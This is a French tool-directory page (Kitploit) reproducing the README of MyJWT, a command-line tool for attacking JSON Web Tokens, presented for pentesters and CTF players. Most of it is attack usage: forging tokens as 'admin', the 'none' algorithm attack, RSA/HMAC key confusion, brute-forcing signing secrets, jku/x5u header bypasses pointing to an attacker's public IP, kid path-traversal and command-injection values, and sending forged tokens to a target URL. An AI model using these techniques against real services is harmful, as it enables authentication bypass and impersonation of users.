Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
MyJWT — Un cli pour le craquage et le test de vulnérabilités sur les Json Web Token(JWT) | Kitploit
Outils/GitHubGitHub/tyki6/myjwt
Cassage de Mots de PasseAnalyse des VulnérabilitésSécurité WebTests d'Intrusion
GitHubtyki6/myjwt

MyJWT

Un cli pour le craquage et le test de vulnérabilités sur les Json Web Token(JWT)

Voir le dépôt
13819il y a 10 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

MyJWT

mBouamama PyPI BlackArch package PyPI - Python Version PyPI - Download GitHub release (latest by date) Documentation Status Rawsec's CyberSecurity Inventory Code style: black codecov docstr_coverage codebeat badge Updates Known Vulnerabilities

Introduction

Cet outil en ligne de commande est destiné aux pentesteurs, aux joueurs de CTF ou aux développeurs.
Vous pouvez modifier votre jwt, le signer, injecter, etc.
Consultez la Documentation pour plus d'informations.
Si vous rencontrez des problèmes ou avez des améliorations, ouvrez un ticket. Je répondrai dès que possible. Profitez-en :)

Documentation

La documentation est disponible à l'adresse http://myjwt.readthedocs.io

Table des matières

  • Fonctionnalités
  • Installation
  • Utilisation
  • Exemples
  • Téléchargement
  • Contribuer
  • Journal des modifications

Fonctionnalités

  • copie du nouveau jwt dans le presse-papiers
  • interface utilisateur (merci questionary)
  • sortie colorée
  • modifier jwt (en-tête/charge utile)
  • vulnérabilité None
  • confusion RSA/HMAC
  • signer un jwt avec une clé
  • force brute pour deviner la clé
  • casser jwt avec une expression régulière pour deviner la clé
  • injection kid
  • contournement Jku
  • contournement X5u

Installation

Pour installer myjwt, utilisez simplement pip :

root@kitploit:~
pip install myjwt

Pour exécuter myjwt à partir d'une image Docker, exécutez :

root@kitploit:~
docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

# monter un volume pour la liste de mots
docker run -v $(pwd)/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# Sur Windows
docker run -v %CD%/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

Pour installer myjwt à partir de git :

root@kitploit:~
git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python MyJWT/myjwt_cli.py --help

Pour installer myjwt sur BlackArch :

root@kitploit:~
pacman -S myjwt

Packaging status

Utilisation

root@kitploit:~
$ myjwt --help
Usage: myjwt [OPTIONS] JWT

  This cli is for pentesters, CTF players, or dev.
  You can modify your jwt, sign, inject ,etc...
  Full documentation is at http://myjwt.readthedocs.io.
  If you see problems or enhancement send an issue.I will respond as soon as possible.
  Enjoy :)
  All new jwt will be copy to the clipboard.

Options:
  --version                    Show the version and exit.
  --full-payload TEXT          New payload for your jwt.Json format Required.
  -h, --add-header TEXT        Add a new key, value to your jwt header, if key
                               is present old value will be replaced.Format:
                               key=value.

  -p, --add-payload TEXT       Add a new key, value to your jwt payload, if
                               key is present old value will be
                               replaced.Format: key=value.

  --sign TEXT                  Sign Your jwt with key given.
  --verify TEXT                verify your key.
  -none, --none-vulnerability  Check None Alg vulnerability.
  --hmac PATH                  Check RS/HMAC Alg vulnerability.
  --bruteforce PATH            Bruteforce to guess the secret used to sign the
                               token.

  -r, --crack TEXT             regex to iterate all string possibilities to
                               guess the secret used to sign the token.

  --kid TEXT                   Kid Injection sql
  --jku TEXT                   Jku Header to bypass authentication
  --x5u TEXT                   X5u Header to bypass authentication
  --crt TEXT                   For x5cHeader, force crt file
  --key TEXT                   For jku or x5c Header, force private key to
                               your key file

  --file TEXT                  For jku Header and x5u Header, force file name
  --print                      Print Decoded JWT
  -u, --url TEXT               Url to send your jwt.
  -m, --method TEXT            Method use for send request to url.(Default
                               GET).

  -d, --data TEXT              Data send to your url.Format: key=value. if
                               value = MY_JWT value will be replace by new
                               jwt.

  -c, --cookies TEXT           Cookies to send to your url.Format: key=value.
                               if value = MY_JWT value will be replace by new
                               jwt.

  --help                       Show this message and exit.

Modifier JWT

Vérifier votre JWT (algorithme HS)

OptionTypeExempleAide
--signtextemaclésecrèteSigner votre jwt avec votre clé
--verifytextemaclésecrèteVérifier votre clé.

Exploitation

Envoyer votre jwt

Autres

Exemples

  • Modifier votre jwt
  • Vérification de la vulnérabilité None
  • Signer avec une clé
  • Forcer la signature par brute force
  • Confusion RSA/HMAC
  • Injection Kid
  • Envoyer votre nouveau Jwt à une URL
  • Vulnérabilité Jku
  • Vulnérabilité X5u

Modifier votre Jwt

CLI

root@kitploit:~
myjwt VOTRE_JWT --add-payload "username=admin" --add-header "refresh=false"

Code

root@kitploit:~
from myjwt.modify_jwt import add_header, change_payload
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt

jwt_json = jwt_to_json(jwt)
jwt_json = add_header(jwt_json, {"kid": "001"})
jwt_json = change_payload(jwt_json, {"username": "admin"})
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]

Exemple complet ici : 01-modify-jwt

Vulnérabilité None

CLI

root@kitploit:~
myjwt VOTRE_JWT --none-vulnerability

CODE

root@kitploit:~
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
from myjwt.vulnerabilities import none_vulnerability
jwt_json = jwt_to_json(jwt)
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])

Exemple complet ici : 02-none-vulnerability

Signer avec une clé

CLI

root@kitploit:~
myjwt VOTRE_JWT --sign VOTRE_CLÉ

CODE

root@kitploit:~
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
key = "test"
jwt = signature(jwt_to_json(jwt), key)

Exemple complet ici : 03-sign-key

Force brute

CLI

root@kitploit:~
myjwt VOTRE_JWT --bruteforce CHEMIN

CODE

root@kitploit:~
from myjwt.vulnerabilities import bruteforce_wordlist
wordlist = "../../wordlist/common_pass.txt"
key = bruteforce_wordlist(jwt, wordlist)

Exemple complet ici : 04-brute-force

Crack

CLI

root@kitploit:~
myjwt VOTRE_JWT --crack EXPRESSION_RÉGULIÈRE

Confusion RSA/HMAC

CLI

root@kitploit:~
myjwt VOTRE_JWT --hmac FICHIER

CODE

root@kitploit:~
from myjwt.vulnerabilities import confusion_rsa_hmac
file = "public.pem"
jwt = confusion_rsa_hmac(jwt, file)

Exemple complet ici : 05-rsa-hmac-confusion

Injection Kid

CLI

root@kitploit:~
myjwt VOTRE_JWT --kid INJECTION

Code

root@kitploit:~
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
from myjwt.vulnerabilities import inject_sql_kid

injection = "../../../../../../dev/null"
sign = ""
jwt = inject_sql_kid(jwt, injection)
jwt = signature(jwt_to_json(jwt), sign)

Exemple complet ici : 06-kid-injection

Envoyer votre nouveau Jwt à une URL

CLI

root@kitploit:~
myjwt VOTRE_JWT -u VOTRE_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"

Vulnérabilité Jku

CLI

root@kitploit:~
myjwt VOTRE_JWT --jku VOTRE_URL

Code

root@kitploit:~
from myjwt.vulnerabilities import jku_vulnerability
new_jwt = jku_vulnerability(jwt=jwt, url="MONIP_PUBLIC")
print(jwt)

Exemple complet ici : 07-jku-bypass

Vulnérabilité X5U

CLI

root@kitploit:~
myjwt VOTRE_JWT --x5u VOTRE_URL

Code

root@kitploit:~
from myjwt.vulnerabilities import x5u_vulnerability
newJwt = x5u_vulnerability(jwt=jwt, url="MONIP_PUBLIC")
print(jwt)

Exemple complet ici : 08-x5u-bypass

Téléchargement

Consultez les versions GitHub. La dernière est disponible à l'adresse https://github.com/mBouamama/MyJWT/releases/latest

Contribuer

  • Forkez ce dépôt ou clonez-le
  • Créez une nouvelle branche (feature, hotfix, etc.)
  • Effectuez les modifications nécessaires et validez-les
  • Vérifiez le lint avec make lint
  • Vérifiez les tests unitaires avec make test
  • Envoyez une Pull Request Je vérifierai dès que possible.

Journal des modifications

Le journal est devenu assez long. Il a été déplacé dans son propre fichier.

Voir CHANGES.

Télécharger l’outil
OptionTypeExempleAide
--ful-payloadJSON{"user": "admin"}Nouvelle charge utile pour votre jwt.
-h, --add-headerclé=valeurutilisateur=adminAjouter une nouvelle clé et sa valeur à l'en-tête de votre jwt. Si la clé existe, l'ancienne valeur sera remplacée.
-p, --add-payloadclé=valeurutilisateur=adminAjouter une nouvelle clé et sa valeur à la charge utile de votre jwt. Si la clé existe, l'ancienne valeur sera remplacée.
OptionTypeExempleAide
-none, --none-vulnerabilityRienVérifier la vulnérabilité None Alg.
--hmacCHEMIN./public.pemVérifier la vulnérabilité RS/HMAC Alg, et signer votre jwt avec la clé publique.
--bruteforceCHEMIN./wordlist/big.txtForcer brutalement pour deviner le secret utilisé pour signer le jeton. Utilisez un fichier texte contenant tous les mots de passe (1 par ligne)
--crackEXPRESSION RÉGULIÈRE"[a-z]{4}"Expression régulière pour itérer sur toutes les chaînes possibles afin de deviner le secret utilisé pour signer le jeton.
--kidtexte"00; echo /etc/.passwd"Injection SQL Kid
--jkutexteMÔNIPPUBLICEn-tête Jku pour contourner l'authentification. Utilisez --file pour changer le nom du fichier jwks, et --key pour utiliser votre propre clé privée pem
--x5utexteMÔNIPPUBLICPour l'en-tête jku ou x5c, utilisez --file pour changer le nom du fichier jwks, et --key pour utiliser votre propre clé privée pem
OptionTypeExempleAide
-u, --urlurlhttp://challenge01.root-me.org/web-serveur/ch59/adminURL où envoyer votre jwt.
-m, --methodtextePOSTMéthode utilisée pour envoyer la requête à l'URL (défaut : GET).
-d, --dataclé=valeursecret=MY_JWTDonnées envoyées à votre URL. Format : clé=valeur. Si valeur = MY_JWT, la valeur sera remplacée par votre nouveau jwt.
-c, --cookiesclé=valeursecret=MY_JWTCookies à envoyer à votre URL. Format : clé=valeur. Si valeur = MY_JWT, la valeur sera remplacée par votre nouveau jwt.
OptionTypeExempleAide
--crtCHEMIN./public.crtPour l'en-tête x5c, forcer le fichier crt
--keyCHEMIN./private.pemPour l'en-tête jku ou x5c, forcer la clé privée à partir de votre fichier de clé
--filetextemonfichierPour l'en-tête jku, forcer le nom du fichier sans extension .json
--printRienAfficher le JWT décodé
--helpRienAfficher le message d'aide et quitter.
--versionRienAfficher la version de Myjwt